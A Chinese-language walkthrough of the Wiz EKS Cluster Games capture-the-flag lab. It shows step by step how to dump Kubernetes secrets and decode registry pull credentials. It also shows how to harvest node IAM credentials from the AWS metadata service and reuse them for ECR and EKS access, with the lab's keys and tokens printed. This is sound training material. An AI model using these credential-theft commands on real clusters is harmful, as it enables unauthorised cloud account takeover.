一个AWS EKS的靶场,正好学习一下EKS安全,地址https://eksclustergames.com/
Welcome To The Challenge You’ve hacked into a low-privileged AWS EKS pod. Use the web terminal below to find flags across the environment. Each challenge runs in a different Kubernetes namespaces with varying permissions.
All K8s resources are crucial; challenges are based on real EKS misconfigurations and security issues.
Click “Begin Challenge” on your desktop, and for guidance, click the question mark icon for useful cheat sheet.
Good luck!
Amazon Elastic Kubernetes Service (EKS)是aws的一种云服务,也就是aws自己改的k8s,题目会给我们集群中一个低权限pod的shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __ ___ _____ _ ______ \ \ / (_)____ | ____| |/ / ___| \ \ /\ / /| |_ / | _| | ' /\___ \ \ V V / | |/ / | |___| . \ ___) | \_/\_/ |_/___| |_____|_|\_\____/ ____ _ _ _ / ___| |__ __ _| | | ___ _ __ __ _ ___ | | | '_ \ / _` | | |/ _ \ '_ \ / _` |/ _ \ | |___| | | | (_| | | | __/ | | | (_| | __/ \____|_| |_|\__,_|_|_|\___|_| |_|\__, |\___| |___/ Welcome to Wiz EKS Challenge! For your convenience, the following directories are persistent across sessions: * /home/user * /tmp Use kubectl to start! root@wiz-eks-challenge:~#
Secret Seeker
Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?
1 2 3 4 5 6 { "secrets": [ "get", "list" ] }
我们对secrets可以进行get和list,我们可以先尝试list
1 2 3 root@wiz-eks-challenge:~# kubectl get secrets NAME TYPE DATA AGE log-rotate Opaque 1 120d
再get一下,用yaml输出
1 2 3 4 5 6 7 8 9 10 11 12 root@wiz-eks-challenge:~# kubectl get secrets log-rotate -o yaml apiVersion: v1 data: flag: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ== kind: Secret metadata: creationTimestamp: "2023-11-01T13:02:08Z" name: log-rotate namespace: challenge1 resourceVersion: "890951" uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c type: Opaque
解码得到flag
Registry Hunt
A thing we learned during our research: always check the container registries.
For your convenience, the crane utility is already pre-installed on the machine.
Hint #1 Try obtaining the container registry credentials to pull container images and examine them for sensitive secrets.
Hint #2 Reading about ImagePullSecrets might be useful 😉
1 2 3 4 5 6 7 8 9 { "secrets": [ "get" ], "pods": [ "list", "get" ] }
先尝试列出pods
1 2 3 root@wiz-eks-challenge:~# kubectl get pods NAME READY STATUS RESTARTS AGE database-pod-2c9b3a4e 1/1 Running 3 (12d ago) 120d
看看这个pods的详细信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 root@wiz-eks-challenge:~# kubectl get pods database-pod-2c9b3a4e -o yaml apiVersion: v1 kind: Pod metadata: annotations: kubernetes.io/psp: eks.privileged pulumi.com/autonamed: "true" creationTimestamp: "2023-11-01T13:32:05Z" name: database-pod-2c9b3a4e namespace: challenge2 resourceVersion: "33604373" uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6 spec: containers: - image: eksclustergames/base_ext_image imagePullPolicy: Always name: my-container resources: {} terminationMessagePath: /dev/termination-log terminationMessagePolicy: File volumeMounts: - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name: kube-api-access-cq4m2 readOnly: true dnsPolicy: ClusterFirst enableServiceLinks: true imagePullSecrets: - name: registry-pull-secrets-780bab1d nodeName: ip-192-168-21-50.us-west-1.compute.internal preemptionPolicy: PreemptLowerPriority priority: 0 restartPolicy: Always schedulerName: default-scheduler securityContext: {} serviceAccount: default serviceAccountName: default terminationGracePeriodSeconds: 30 tolerations: - effect: NoExecute key: node.kubernetes.io/not-ready operator: Exists tolerationSeconds: 300 - effect: NoExecute key: node.kubernetes.io/unreachable operator: Exists tolerationSeconds: 300 volumes: - name: kube-api-access-cq4m2 projected: defaultMode: 420 sources: - serviceAccountToken: expirationSeconds: 3607 path: token - configMap: items: - key: ca.crt path: ca.crt name: kube-root-ca.crt - downwardAPI: items: - fieldRef: apiVersion: v1 fieldPath: metadata.namespace path: namespace status: conditions: - lastProbeTime: null lastTransitionTime: "2023-11-01T13:32:05Z" status: "True" type: Initialized - lastProbeTime: null lastTransitionTime: "2024-02-18T08:39:03Z" status: "True" type: Ready - lastProbeTime: null lastTransitionTime: "2024-02-18T08:39:03Z" status: "True" type: ContainersReady - lastProbeTime: null lastTransitionTime: "2023-11-01T13:32:05Z" status: "True" type: PodScheduled containerStatuses: - containerID: containerd://3699550c29b6f1977eb55e6a64a6d67c25ab4d0c4c8d9b6c6bc77809fff3d12a image: docker.io/eksclustergames/base_ext_image:latest imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623 lastState: terminated: containerID: containerd://3303b43f9bfc4c022aa7366ecbc0abdde24b3bd540fb8cd92cc1a28579fcac25 exitCode: 0 finishedAt: "2024-02-18T08:39:01Z" reason: Completed startedAt: "2024-01-13T02:16:44Z" name: my-container ready: true restartCount: 3 started: true state: running: startedAt: "2024-02-18T08:39:03Z" hostIP: 192.168.21.50 phase: Running podIP: 192.168.12.173 podIPs: - ip: 192.168.12.173 qosClass: BestEffort startTime: "2023-11-01T13:32:05Z"
其中包含了imagePullSecrets,指定了拉取镜像时的凭据,这个凭据是secret类型的,我们有get secret的权限,可以看看这个凭据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d -o yaml apiVersion: v1 data: .dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19 kind: Secret metadata: annotations: pulumi.com/autonamed: "true" creationTimestamp: "2023-11-01T13:31:29Z" name: registry-pull-secrets-780bab1d namespace: challenge2 resourceVersion: "897340" uid: 1348531e-57ff-42df-b074-d9ecd566e18b type: kubernetes.io/dockerconfigjson
他是一个kubernetes.io/dockerconfigjson类型的secret,用于存储 Docker 镜像仓库的认证信息,以便在拉取私有镜像时进行身份验证,可以用以下命令来创建
1 2 3 4 5 kubectl create secret docker-registry registry-pull-secrets-780bab1d \ --docker-server=<registry-url> \ --docker-username=<username> \ --docker-password=<password> \ --docker-email=<email>
我们解码一下.dockerconfigjson
1 2 3 4 5 6 7 { "auths": { "index.docker.io/v1/": { "auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw==" } } }
再解码一下auth字段,拿到用户名和密码
1 eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
我们可以尝试用这个凭证来登录他的Registry,这里要用到crane,先进行登录
1 2 root@wiz-eks-challenge:~# crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo 2024/03/01 12:07:14 logged in via /home/user/.docker/config.jso
这个pod所用的镜像是eksclustergames/base_ext_image,我们可以查看一下信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 root@wiz-eks-challenge:~# crane ls eksclustergames/base_ext_image latest root@wiz-eks-challenge:~# crane manifest eksclustergames/base_ext_image { "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": { "mediaType": "application/vnd.docker.container.image.v1+json", "size": 1112, "digest": "sha256:add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc91867" }, "layers": [ { "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip", "size": 2219949, "digest": "sha256:3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7" }, { "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip", "size": 289, "digest": "sha256:193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06" } ] }root@wiz-eks-challenge:~# crane digest eksclustergames/base_ext_image sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623 root@wiz-eks-challenge:~# crane config eksclustergames/base_ext_image {"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:18.920734382Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop) CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' \u003e /flag.txt # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432"]}}
拿到flag
Based on real events
We successfully used this technique in both of our engagements with Alibaba Cloud and IBM Cloud to obtain internal container images and to prove unauthorized access to cross-tenant data.
这里值得一提的是,这道题是之前阿里云和IBM云中的跨租户未经授权访问漏洞的真实案例改编而来,过程远比这个复杂,但是思路是一样的,有兴趣可以延伸阅读,相关地址如下:
https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r
https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql
Image Inquisition
A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.
Remember: You are running inside a compromised EKS pod.
For your convenience, the crane utility is already pre-installed on the machine.
Hint #1 Try contacting the IMDS to get the ECR credentials.
Hint #2 Try looking into the image’s layers. As always, the flag is prefixed with wiz_eks_challenge
1 2 3 4 5 6 { "pods": [ "list", "get" ] }
我们有get和list的权限,先看看当前的pod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 root@wiz-eks-challenge:~# kubectl get pods NAME READY STATUS RESTARTS AGE accounting-pod-876647f8 1/1 Running 3 (14d ago) 122d root@wiz-eks-challenge:~# kubectl get pods -o yaml apiVersion: v1 items: - apiVersion: v1 kind: Pod metadata: annotations: kubernetes.io/psp: eks.privileged pulumi.com/autonamed: "true" creationTimestamp: "2023-11-01T13:32:10Z" name: accounting-pod-876647f8 namespace: challenge3 resourceVersion: "33604385" uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2 spec: containers: - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 imagePullPolicy: IfNotPresent name: accounting-container resources: {} terminationMessagePath: /dev/termination-log terminationMessagePolicy: File volumeMounts: - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name: kube-api-access-mmvjj readOnly: true dnsPolicy: ClusterFirst enableServiceLinks: true nodeName: ip-192-168-21-50.us-west-1.compute.internal preemptionPolicy: PreemptLowerPriority priority: 0 restartPolicy: Always schedulerName: default-scheduler securityContext: {} serviceAccount: default serviceAccountName: default terminationGracePeriodSeconds: 30 tolerations: - effect: NoExecute key: node.kubernetes.io/not-ready operator: Exists tolerationSeconds: 300 - effect: NoExecute key: node.kubernetes.io/unreachable operator: Exists tolerationSeconds: 300 volumes: - name: kube-api-access-mmvjj projected: defaultMode: 420 sources: - serviceAccountToken: expirationSeconds: 3607 path: token - configMap: items: - key: ca.crt path: ca.crt name: kube-root-ca.crt - downwardAPI: items: - fieldRef: apiVersion: v1 fieldPath: metadata.namespace path: namespace status: conditions: - lastProbeTime: null lastTransitionTime: "2023-11-01T13:32:10Z" status: "True" type: Initialized - lastProbeTime: null lastTransitionTime: "2024-02-18T08:39:05Z" status: "True" type: Ready - lastProbeTime: null lastTransitionTime: "2024-02-18T08:39:05Z" status: "True" type: ContainersReady - lastProbeTime: null lastTransitionTime: "2023-11-01T13:32:10Z" status: "True" type: PodScheduled containerStatuses: - containerID: containerd://03de63437cb74b1c4468c82ebf02f0eade3be5edb4406015327fae3026a8ee97 image: sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3 imageID: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 lastState: terminated: containerID: containerd://e72175f0a509be4eed8977f9d292040465522dd73e6978882a4c3d699ae2e829 exitCode: 0 finishedAt: "2024-02-18T08:39:04Z" reason: Completed startedAt: "2024-01-13T02:16:47Z" name: accounting-container ready: true restartCount: 3 started: true state: running: startedAt: "2024-02-18T08:39:04Z" hostIP: 192.168.21.50 phase: Running podIP: 192.168.5.251 podIPs: - ip: 192.168.5.251 qosClass: BestEffort startTime: "2023-11-01T13:32:10Z" kind: List metadata: resourceVersion: ""
可以拿到这个pod所用的镜像,这个镜像使用的是ecr,aws的一种容器服务
1 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
尝试查看镜像tag发现没有权限,这个镜像服务一定是利用aws凭证进行访问的,我们可以尝试窃取这个凭证,再拉取镜像查看
1 2 root@wiz-eks-challenge:~# crane ls 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c Error: reading tags for 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c: GET https://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/tags/list?n=1000: unexpected status code 401 Unauthorized: Not Authorized
那么如何窃取凭证呢,我们可以先试试环境中的aws,发现这里并没有凭据,环境变量中也没有
1 2 3 root@wiz-eks-challenge:~# aws sts get-caller-identity Unable to locate credentials. You can configure credentials by running "aws configure".
我们此时的这个pod是eks上的,我们可以尝试访问aws的元数据服务,IMDS全称 Instance Metadata Service
,v1 就是Amazon EC2实例元数据服务的第一个版本。通过请求AWS的元数据接口,能获取到运行示例的相关数据信息。常见厂商的云服务地址如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #AWS http://instance-data http://169.254.169.254 #Google Cloud http://169.254.169.254 http://metadata.google.internal http://metadata #Azure http://169.254.169.254 #Digital Ocean http://169.254.169.254 #Packetcloud https://metadata.packet.net #Oracle Cloud http://169.254.169.254 #Alibaba Cloud http://100.100.100.200 #Tencent Cloud http://metadata.tencentyun.com http://169.254.0.23
IMDSv1存在一定的风险,且出现过较为严重的安全事件,AWS官方已明确提示使用IMDSv2代替IMDSv1,并于2024年年中起,新发布的Amazon EC2实例类型将仅使用v2版本的IMDS。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 reservation-id security-groups services/
里面存在iam文件夹,我们可以找到凭证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam info security-credentials/ root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/info { "Code" : "Success", "LastUpdated" : "2024-03-04T16:15:16Z", "InstanceProfileArn" : "arn:aws:iam::688655246681:instance-profile/eks-36c5c399-cac4-2600-89ff-c478e8f231c5", "InstanceProfileId" : "AIPA2AVYNEVM276Q75VCN" } root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials eks-challenge-cluster-nodegroup-NodeInstanceRole root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole {"AccessKeyId":"ASIA2AVYNEVMSJ3IDMGO","Expiration":"2024-03-04 17:40:56+00:00","SecretAccessKey":"G4wnjld4/XIza/pUrHyQo9V7FafUFdgdqTu7+GRl","SessionToken":"FwoGZXIvYXdzEJL//////////wEaDC7/c2RsTN5JH45NkSK3AUVmL9ORjbNMInjEszT2VucJOIGVUfUwBurX2AxxMJ7xM6cGcGl1IL1hPLPCWGFGlZ1DVfBgjfpxrHTt7jY+ZJqt/TOEBYa+RzJCIGbq6AFR4RKD4TC4DALievR7TotGGblfJ6kjPNluPizOPIf9U82oHlBYgcjAUO0mEF4lofON9GyyYaUu5t7q+cPz+VqJYWpJjClxRRrzDysUEykuN+MzGFdldbn5ArBWsivz4k03NueICIrM5yiY85evBjIt6vIXOkEd+8Q8sepPT3fgL0a/pHtBuv6PNRQqG52U+yjFN+44pR5cTqDFK2cM"}
看名字是一个node的凭证,我们可以在pod内配置一下,最后sts确认一下
1 2 3 4 5 6 7 8 root@wiz-eks-challenge:~# aws sts get-caller-identity { "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282", "Account": "688655246681", "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282" } {"AccessKeyId":"ASIA2AVYNEVMY2OYKCMX","Expiration":"2024-03-05 05:42:19+00:00","SecretAccessKey":"+nRpBLxtN8CNoh65h/UUcgqL+iyIvA5MBDx4/3CV","SessionToken":"FwoGZXIvYXdzEJ7//////////wEaDK15zTjZ0VlcYx5NNyK3AW938ojlNySzcO2txGobkPSz+2NwwU7bEeai0llevoO9CiArNEWf2Kv8EW/q2THlegg5ZpAF6Jt/0oTdRuShjOF24HfZdEAm5r/lwSkeILVNznoqnUPxEEee9WWIJ2UH73mlCJBCw3mkwIvx2rati79LFqQCKCpuBei5KvAc1B/pP3pXCO+fZjoKI26qwf40Pi/tTpbQdz9mwrEWtEUJulwWGRxT8xNyEvnvbMJqc+MryY6pQQHNpyirxZqvBjItBfGe8MFmaCgsveCCeTIlDSFE5mhMGiZYAsfDEFKlBDa0kw7GxZHLrtl0pzaw"}
拿了凭据就可以去访问他的ecr服务了,先看看他的仓库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 root@wiz-eks-challenge:~# aws ecr describe-repositories { "repositories": [ { "repositoryArn": "arn:aws:ecr:us-west-1:688655246681:repository/testos", "registryId": "688655246681", "repositoryName": "testos", "repositoryUri": "688655246681.dkr.ecr.us-west-1.amazonaws.com/testos", "createdAt": "2023-10-29T17:52:00.228000+00:00", "imageTagMutability": "MUTABLE", "imageScanningConfiguration": { "scanOnPush": false }, "encryptionConfiguration": { "encryptionType": "AES256" } }, { "repositoryArn": "arn:aws:ecr:us-west-1:688655246681:repository/central_repo-aaf4a7c", "registryId": "688655246681", "repositoryName": "central_repo-aaf4a7c", "repositoryUri": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c", "createdAt": "2023-11-01T13:31:26.721000+00:00", "imageTagMutability": "MUTABLE", "imageScanningConfiguration": { "scanOnPush": false }, "encryptionConfiguration": { "encryptionType": "AES256" } } ] } root@wiz-eks-challenge:~# aws ecr describe-images --repository-name central_repo-aaf4a7c { "imageDetails": [ { "registryId": "688655246681", "repositoryName": "central_repo-aaf4a7c", "imageDigest": "sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01", "imageTags": [ "374f28d8-container" ], "imageSizeInBytes": 2221349, "imagePushedAt": "2023-11-01T13:32:09+00:00", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json", "artifactMediaType": "application/vnd.docker.container.image.v1+json", "lastRecordedPullTime": "2024-03-04T16:15:14.073000+00:00" } ] }
我们找到了目标镜像,尝试拿一下ecr密码来登录,ecr的默认用户名为AWS
1 2 3 4 5 6 crane auth login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com docker login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com --password-stdin 参数表示从标准输入接收密码 root@wiz-eks-challenge:~# aws ecr get-login-password|crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin 2024/03/05 05:00:34 logged in via /home/user/.docker/config.json
用config查看各镜像层的信息,注意这里的镜像名字后面要么带上digest,要么带上tag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 root@wiz-eks-challenge:~# crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq { "architecture": "amd64", "config": { "Env": [ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ], "Cmd": [ "/bin/sleep", "3133337" ], "ArgsEscaped": true, "OnBuild": null }, "created": "2023-11-01T13:32:07.782534085Z", "history": [ { "created": "2023-07-18T23:19:33.538571854Z", "created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / " }, { "created": "2023-07-18T23:19:33.655005962Z", "created_by": "/bin/sh -c #(nop) CMD [\"sh\"]", "empty_layer": true }, { "created": "2023-11-01T13:32:07.782534085Z", "created_by": "RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2023-11-01T13:32:07.782534085Z", "created_by": "CMD [\"/bin/sleep\" \"3133337\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true } ], "os": "linux", "rootfs": { "type": "layers", "diff_ids": [ "sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f", "sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5" ] } }
In this challenge, you retrieved credentials from the Instance Metadata Service (IMDS). Moving forward, these credentials will be readily available in the pod for your ease of use.
Pod Break
You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?
Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions
Hint #1 Can’t determine the cluster’s name? The convention for the IAM role of a node follows the pattern: [cluster-name]-nodegroup-NodeInstanceRole.
Hint #2 EKS supports IAM authentication. Nodes connect to the cluster the same way users do. Check out the documentation .
这一题我们拿到的pod的sa没有任何权限,目标是要拿到node权限的sa
可以用kubectl auth can-i –list查看一下,什么权限都没
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 root@wiz-eks-challenge:~# kubectl auth can-i --list warning: the list may be incomplete: webhook authorizer does not support user rule resolution Resources Non-Resource URLs Resource Names Verbs selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] podsecuritypolicies.policy [] [eks.privileged] [use]
本题的场景可以说是紧接上一题的,可以访问元数据拿到node的凭证,现在的目标是要接管eks
1 2 3 4 5 6 7 8 9 10 11 12 13 14 root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/info { "Code" : "Success", "LastUpdated" : "2024-03-05T04:15:46Z", "InstanceProfileArn" : "arn:aws:iam::688655246681:instance-profile/eks-36c5c399-cac4-2600-89ff-c478e8f231c5", "InstanceProfileId" : "AIPA2AVYNEVM276Q75VCN" } root@wiz-eks-challenge:~# aws sts get-caller-identity { "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282", "Account": "688655246681", "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282" }
我们拿到的aws凭证是node的凭证,但我们现在在pod中,里面的kubectl没有任何权限,我们的目标就是能否利用这个有权限的aws凭证来使用eks服务,从而拿到这个集群的高权限,再给kubectl使用即可,参考https://cloud.hacktricks.xyz/v/cn-cloud/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation
方法一:获取一个高权限的token
我们可以使用aws eks get-token --cluster-name <cluster_name>
来获取一个相应高权限的token,但前提是要知道集群的名字,eks中的describe cluster和list clusters经过测试都没有权限,我们可以在aws凭证的arn中找到这个集群的名字eks-challenge-cluster
1 2 3 4 5 6 7 8 9 10 root@wiz-eks-challenge:~# aws eks get-token --cluster-name eks-challenge-cluster { "kind": "ExecCredential", "apiVersion": "client.authentication.k8s.io/v1beta1", "spec": {}, "status": { "expirationTimestamp": "2024-03-05T06:34:07Z", "token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1VQUlPR1VQWiUyRjIwMjQwMzA1JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAzMDVUMDYyMDA3WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFS0QlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFERGNWM2FueWVFb2xoJTJGazlSU0szQVkzSVZtZ0p0UWVwaWxmdzlTSktmOCUyQlVZb2ZOYTBhZlJYJTJCYVhaak43eW55UXJuWUZMdElsNmVhSUs4JTJCVVVOWGpVeG9QdjFhMUE0T3luM3JmUVA0TCUyQlBMb2M5dyUyQnhRRHZ2bTJnQ1pLSyUyQmNDckxoU0lwdzRGbWRVYzFJMWx4N2EzdEl2b2xHN05pR3ZVSkNyZlJlUGdQRXgzODhPeXl1M01iRGVLNjh1UHVTMzFWMUhUbTRYUWRHQWVCYWpwOGFVc21sdEZ0NkFONzU5elROMldWeXhOZm54SHIxOG1nZHA2djQ4ZGU3dzl3dSUyRjc2ZzZrRGQxUkNpNzhKcXZCakl0TEpWSjJkb0pKcGVVcldnQU5OdGpVNnRBV1Z2UiUyQlRFeDdWbTZFcVNZeSUyQnFKT1U3cHAxSU5NdjZxdVBFbSZYLUFtei1TaWduYXR1cmU9NWZkZTMwMGUyNTZkNmI5Zjg4NjM2ODQwYzc5YjNhOTUyOTYzNmY4Y2ZlZGM5YmMzN2ZiMDE3YmZiMGM2MzRjNg" } }
接下来就可以使用这个token来访问k8s的api
